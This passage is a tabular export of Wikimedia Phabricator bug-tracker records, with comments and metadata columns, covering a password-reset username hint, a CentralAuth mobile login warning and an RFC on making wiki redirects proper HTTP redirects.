Up to 1.21, I see ""Forgotten your login details?"" next to the ""Log in"" button. Now the login button consumes all the horizontal space and has ""Keep me logged in"" above it, the newly introduced ""Help with logging in"" below it. I guess the only option is to add a ""Forgot your username?"" next to ""Username"" as done with t the password, in the cases where the space is not taken by the ""Use secure connection"" link."
244988,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","(In reply to Nemo from comment #1)
> Hint where? I now see on
> http://en.wikipedia.beta.wmflabs.org/wiki/Special:PasswordReset :
> 
> Reset password
> Fill in one of the fields to receive a temporary password via email.
> 
> Username:
> 
> Email address:

The background: we (as sysops) have received some requests from users saying that they registered Wikipedia account with some Email address, but forgot the user name. To resolve this, users can (and this is what we can do anyway) use the password reset form and user names are mentioned in Emails for temporary passwords. However users are not told this fact anywhere.",,,1407158828,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,False,,,48,True,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,6.5,0.0,1.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,2.0,0.0,0.5,3.5,1.0,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,16.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,2.5,3.0,10.5,0.5,3.0,6.5,0.0,0.0,0.0,0.5,3.0,0.0,0.5,0.0,2.0,6.5,6.5,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,3.872549019607843,0.6939215686274509,"(In reply to Nemo from comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The background: we (as sysops) have received some requests from users saying that they registered Wikipedia account with some Email address, but forgot the user name. To resolve this, users can (and this is what we can do anyway) use the password reset form and user names are mentioned in Emails for temporary passwords. However users are not told this fact anywhere."
244978,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","Hint where? I now see on http://en.wikipedia.beta.wmflabs.org/wiki/Special:PasswordReset :

Reset password
Fill in one of the fields to receive a temporary password via email.

Username:

Email address:",,,1407158034,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,21.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,15.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5588235294117645,0.8529411764705882,"Hint where? I now see on URL :

Reset password
Fill in one of the fields to receive a temporary password via email.

Username:

Email address:"
53789,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","When attempting to use en.m.wikipedia.org on a desktop browser (tested w/ Chrome 28 and FF 22), I get a red warning message after logging in:

""Central user log in

No active login attempt is in progress for your session.""

This message is displayed via the desktop site and so I have to manually return to mobile mode. It does log me in properly.

This is without beta or dragon mode enabled.

I can't reproduce this behavior on a mobile device, but in addition to causing issues with testing, it might affect tablet users who want to use the mobile site.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374453600,1381339569.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-edilmdevcsgm3c52xeqc,task_description,resolved,True,c2,1,False,False,True,-6,True,0.0,0.0,0.0,0.5,0.5,5.0,1.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,2.5,0.5,3.5,10.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,0.0,1.0,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,14.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,3.0,1.5,7.5,0.5,2.5,5.5,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,10.0,2.0,0.0,1.0,0.0,4.0,0.0,1.0,1.5,0.5,1.5,0.0,0.0,0.0,3.8979113384484227,0.7735507246376812,"When attempting to use en.m.wikipedia.org on a desktop browser (tested w/ Chrome 28 and FF 22), I get a red warning message after logging in:

""Central user log in

No active login attempt is in progress for your session.""

This message is displayed via the desktop site and so I have to manually return to mobile mode. It does log me in properly.

This is without beta or dragon mode enabled.

I can't reproduce this behavior on a mobile device, but in addition to causing issues with testing, it might affect tablet users who want to use the mobile site.

--------------------------
**Version**: unspecified
**Severity**: normal"
243880,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Nope, AFAICT this was fixed a while back. Closing.",,,1381339569,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9166666666666666,"Nope, AFAICT this was fixed a while back. Closing."
243873,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","(In reply to comment #7)
> Unable to replicate. Need more information to proceed with this bug...

Erik: Can you still reproduce this?",,,1380817395,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,5.0,11.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0526315789473686,1.0,"(In reply to comment #7)
QUOTE

Erik: Can you still reproduce this?"
243867,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""",Unable to replicate. Need more information to proceed with this bug...,,,1380584401,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.615384615384615,0.9230769230769231,Unable to replicate. Need more information to proceed with this bug...
243859,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""",*** Bug 54123 has been marked as a duplicate of this bug. ***,,,1379437474,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,2,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54123 has been marked as a duplicate of this bug. ***
243854,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","I think this has been deployed, but I just got a report of it happening on en.m.wikipedia.org this morning on mobile Safari. I'm not able to reproduce it on desktop hitting that domain however",,,1374771855,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,True,,,-5,True,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,8.0,0.0,8.0,14.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,14.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,4.297297297297297,0.8378378378378378,"I think this has been deployed, but I just got a report of it happening on en.m.wikipedia.org this morning on mobile Safari. I'm not able to reproduce it on desktop hitting that domain however"
243850,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Change 75155 merged by jenkins-bot:
Fix CentralAuth logins

https://gerrit.wikimedia.org/r/75155",,,1374692238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 75155 merged by jenkins-bot:
Fix CentralAuth logins

GERRIT_URL"
243847,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Change 75155 had a related patch set uploaded by MaxSem:
Fix CentralAuth logins

https://gerrit.wikimedia.org/r/75155",,,1374521881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.705882352941177,1.0,"Change 75155 had a related patch set uploaded by MaxSem:
Fix CentralAuth logins

GERRIT_URL"
243844,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Note that user gets logged in only locally, i.e. CentralAuth login fails.",,,1374517040,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.428571428571429,1.0,"Note that user gets logged in only locally, i.e. CentralAuth login fails."
243838,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Cannot confirm for Google Chrome 28. Wasn't logged in and went to en.m.wikipedia.org, logged in, and next page says 
    Sign in
    You have successfully signed in to Wikipedia as ""Username"".
and is served from en.m.wikipedia.org (mobile design).",,,1374485349,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,18.0,14.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,0.7450980392156863,"Cannot confirm for Google Chrome 28. Wasn't logged in and went to en.m.wikipedia.org, logged in, and next page says 
    Sign in
    You have successfully signed in to Wikipedia as ""Username"".
and is served from en.m.wikipedia.org (mobile design)."
53736,Consider changing wikipage redirects to be proper HTTP redirects,"This RFC has been scheduled for public discussion on June 28 (Wednesday) at 21:00 UTC (2pm PDT, 23:00 CEST). As always, the discussion will take place in the IRC channel #wikimedia-office

### Problem statement

Currently `/wiki/Redirect` responds with the Target page, with three notable differences:
* A ""Redirected from .."" message is rendered.
* A piece of JavaScript is inserted that will jump to the destination `#Section` (if any).
* A piece of JavaScript is inserted to normalise the address bar from `/wiki/Redirect` to `/wiki/Target#Section`.

Internals:
* Page markup (wikitext) refers to the title as specified. – `[[Redirect]]` is saved as-is, no pre-save transformation)
* Page rendering refers to the title as specified – HTML: `<a href=""/wiki/Redirect"">`
* When clicking on such link within the wiki, or otherwise navigating ""to"" the redirect, the server responds with a modified version of the response for the target of the redirect.  – `/wiki/Redirect` responds the same as `/wiki/Target`, including a `<link rel=canonical>` specifying `Target` as canonical, and a special header informing the reader ""Redirected from Redirect"".
* Once the page is rendered, JavaScript does two things:
 * Jump to the intended section (if any).
 * Swap the address bar from `/wiki/Redirect` to `/wiki/Target`. This encourages further social sharing to share the canonical link, and makes it so that those other people will not needlessly see ""Redirected from Redirect"" - which doesn't apply to those readers.

Benefits:
* Parser cache: Changing the redirect does not require invalidating parser cache of incoming links.
* Performance: ""Following"" a redirect responds quickly (no HTTP redirect).
* Usability: Users know when they followed a redirect (header message ""Redirected from""), and the message doesn't show for others when you share the link.
* Search engines: No indexing of duplicate content. (due to canonical url).

Problems:
* **Redirect  to heading**: When redirecting to a heading on a destination page (e.g. `Topic` redirecting to `General#Topic`), the browser does not natively jump to this heading because it's rendering content at `/wiki/Topic` not `Topic#Topic` or `General#Topic`. This is currently worked around with JavaScript. While this technically works it is bad in two ways:
 * Performance: The jump happens very late. Sometimes 5-10 seconds after the first paint, because it waits for all content to arrive and all JavaScript to arrive and execute.
 * Fallback: In our Grade C experience for older (but supported) browsers, the jump never happens.
 * Fallback: It also means that on supported browsers, the jump doesn't happen if there were intermittent connection issues.
 * Fallback: There is no recovery for the user when the jump doesn't happen. There is no manual way to get to this information (it's hidden in invisible JSON data)

### Solution 1

Change the response of `/wiki/Redirect` to be an HTTP redirect to `/wiki/Target?rdfrom=Redirect#Section`. When viewing `/wiki/Target?rdfrom=Redirect#Section`, client-side code normalises the address bar to `/wiki/Target#Section`.

This addresses all the problems.

* Drawback: Users will be subject to an HTTP redirect.
* Benefit (compared to Solution 2): Redirects are instantly up-to-date (no need to wait for job queue).

### Solution 2

Same as solution 1, but in addition, optimise the common case by changing the Parser to resolve to this url ahead of time.

* Benefit: Faster user experience for the common case.
* Drawback: Updating of urls depends on job queue, similar to template transclusion updates. 

>>! Original task description:
> 
> With Javascript disabled/not available:
> 
> *Links to sections, works correctly, e.g. [[https://en.wikipedia.org/wiki/Albatross#Biology|Albatross#Biology]] 
> *Links to sections via a redirect, works correctly, e.g. [[https://en.wikipedia.org/wiki/Beiruit#History|Beiruit#History]] -- ([[Beiruit]] is a redirect to [[Beirut]]).
> *Links to sections via a redirect to a section, do Not work correctly, e.g. [[https://en.wikipedia.org/wiki/Camden Market Fire|Camden Market Fire]] takes you to the top of the target page but not to the section -- ([[Camden Market Fire]] is a redirect to [[Camden Market#Incidents]])
> 
> Fixing this may partially fix the section links issue in {T53122}
> 
> See also:
> * {T144781}
> * {T37858}
> * {T20883}
> * {T37045}

",Medium,50.0,1374310680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-r6gb722lhiwxiexplfeq,task_description,open,True,c2,1,False,False,,-6,True,0.625,0.0,0.125,0.875,1.0,3.5,0.375,0.25,0.0,0.375,1.75,0.5,0.0,0.0,0.375,0.125,0.625,4.625,11.125,0.0,1.0,0.0,0.25,0.625,0.25,0.125,0.0,0.25,0.0,0.5,0.25,4.875,0.5,0.75,0.0,0.125,0.0,0.125,0.5,0.375,0.75,0.125,0.375,2.125,0.0,0.25,0.0,0.0,0.125,16.25,0.5,1.0,0.125,0.0,0.0,0.0,0.0,0.125,0.375,0.25,0.25,1.0,0.0,0.0,0.25,0.0,0.125,5.875,1.875,14.75,2.0,1.125,8.625,0.0,0.0,0.0,1.25,3.0,0.0,1.625,0.0,1.125,11.125,6.375,0.0,1.5,0.0,1.125,0.0,1.0,1.5,0.0,1.75,0.25,0.0,0.125,3.8238241881298993,0.6422172452407614,"This RFC has been scheduled for public discussion on June 28 (Wednesday) at 21:00 UTC (2pm PDT, 23:00 CEST). As always, the discussion will take place in the IRC channel #wikimedia-office

### Problem statement

Currently CODE responds with the Target page, with three notable differences:
* A ""Redirected from .."" message is rendered.
* A piece of JavaScript is inserted that will jump to the destination CODE (if any).
* A piece of JavaScript is inserted to normalise the address bar from CODE to CODE.

Internals:
* Page markup (wikitext) refers to the title as specified. – CODE is saved as-is, no pre-save transformation)
* Page rendering refers to the title as specified – HTML: CODE
* When clicking on such link within the wiki, or otherwise navigating ""to"" the redirect, the server responds with a modified version of the response for the target of the redirect.  – CODE responds the same as CODE, including a CODE specifying CODE as canonical, and a special header informing the reader ""Redirected from Redirect"".
* Once the page is rendered, JavaScript does two things:
 * Jump to the intended section (if any).
 * Swap the address bar from CODE to CODE. This encourages further social sharing to share the canonical link, and makes it so that those other people will not needlessly see ""Redirected from Redirect"" - which doesn't apply to those readers.

Benefits:
* Parser cache: Changing the redirect does not require invalidating parser cache of incoming links.
* Performance: ""Following"" a redirect responds quickly (no HTTP redirect).
* Usability: Users know when they followed a redirect (header message ""Redirected from""), and the message doesn't show for others when you share the link.
* Search engines: No indexing of duplicate content. (due to canonical url).

Problems:
* **Redirect  to heading**: When redirecting to a heading on a destination page (e.g. CODE redirecting to CODE), the browser does not natively jump to this heading because it's rendering content at CODE not CODE or CODE. This is currently worked around with JavaScript. While this technically works it is bad in two ways:
 * Performance: The jump happens very late. Sometimes 5-10 seconds after the first paint, because it waits for all content to arrive and all JavaScript to arrive and execute.
 * Fallback: In our Grade C experience for older (but supported) browsers, the jump never happens.
 * Fallback: It also means that on supported browsers, the jump doesn't happen if there were intermittent connection issues.
 * Fallback: There is no recovery for the user when the jump doesn't happen. There is no manual way to get to this information (it's hidden in invisible JSON data)

### Solution 1

Change the response of CODE to be an HTTP redirect to CODE. When viewing CODE, client-side code normalises the address bar to CODE.

This addresses all the problems.

* Drawback: Users will be subject to an HTTP redirect.
* Benefit (compared to Solution 2): Redirects are instantly up-to-date (no need to wait for job queue).

### Solution 2

Same as solution 1, but in addition, optimise the common case by changing the Parser to resolve to this url ahead of time.

* Benefit: Faster user experience for the common case.
* Drawback: Updating of urls depends on job queue, similar to template transclusion updates. 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

"
1912142,Consider changing wikipage redirects to be proper HTTP redirects,,,,1651959516,,PHID-USER-ypvzxz55swivqnsz34na,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,453,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1912141,Consider changing wikipage redirects to be proper HTTP redirects,,,,1651959469,,PHID-USER-ypvzxz55swivqnsz34na,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,453,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1127465,Consider changing wikipage redirects to be proper HTTP redirects,"This was one of the older RFCs that we approved before we were stricter about ownership and commitment. The redirect system has no current owner listed on [mediawiki.org](https://www.mediawiki.org/wiki/Developers/Maintainers). 

Tagging #reading-infrastructure-team-backlog and #core-platform-team for potential interest. If claimed, you'd basically have the ability to choose to accept the change from a product perspective  (and decide on its priority, doesn't need to be soon), or to decline the change (closing the task).",,,1534971671,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,260,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.0,12.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,7.0,3.0,5.0,1.0,5.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,1.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,2.0,2.0,0.0,0.0,4.164948453608248,0.7525773195876289,"This was one of the older RFCs that we approved before we were stricter about ownership and commitment. The redirect system has no current owner listed on [mediawiki.org](URL 

Tagging #reading-infrastructure-team-backlog and #core-platform-team for potential interest. If claimed, you'd basically have the ability to choose to accept the change from a product perspective  (and decide on its priority, doesn't need to be soon), or to decline the change (closing the task)."
893632,Consider changing wikipage redirects to be proper HTTP redirects,"Since no objections have been raised during the last call period, this RFC has been approved for implementation.

It seems that there is no resourcing for this at the moment. It could perhaps be picked up by Readers or by Platform.",,,1499959033,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,202,True,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,13.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,20.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.8043478260869565,"Since no objections have been raised during the last call period, this RFC has been approved for implementation.

It seems that there is no resourcing for this at the moment. It could perhaps be picked up by Readers or by Platform."
893625,Consider changing wikipage redirects to be proper HTTP redirects,"Since no objections have been raised during the last call period, this RFC has been approved for implementation.",,,1499958622,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,202,True,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.95,"Since no objections have been raised during the last call period, this RFC has been approved for implementation."
886769,Consider changing wikipage redirects to be proper HTTP redirects,"Maybe this advantage has been mentioned as //SEO// already, but stating it explicitly:
